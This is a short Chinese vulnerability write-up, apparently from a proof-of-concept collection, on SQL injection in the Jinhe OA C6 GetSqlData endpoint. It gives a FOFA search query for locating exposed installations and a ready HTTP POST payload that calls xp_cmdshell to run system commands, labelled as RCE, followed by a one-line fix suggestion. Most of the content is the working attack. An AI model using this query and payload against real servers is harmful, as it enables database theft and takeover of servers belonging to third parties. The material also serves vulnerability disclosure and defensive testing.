J1-18金和-OA-SQL

漏洞描述：

金和 OA C6/Control/GetSqlData.aspx/.ashx接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

- 金和 OA

网络测绘：

fofa语法：

title="金和协同管理平台" || body="js/PasswordCommon.js" || body="js/PasswordNew.js" || body="Jinher Network" || (body="c6/Jhsoft.Web.login" && body="CloseWindowNoAsk") || header="Path=/jc6" || (body="JC6金和协同管理平台" && body="src=\"/jc6/platform") || body="window.location = \"JHSoft.MobileApp/Default.htm\";" || banner="Path=/jc6"

漏洞复现：

payload：

```
POST /C6/Control/GetSqlData.aspx/.ashx HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

exec master..xp_cmdshell 'whoami'
```

效果图:

RCE

修复建议：

修复金和OA C6的`/Control/GetSqlData.aspx/.ashx`接口，实施参数化查询和严格的输入验证，以防止SQL注入攻击。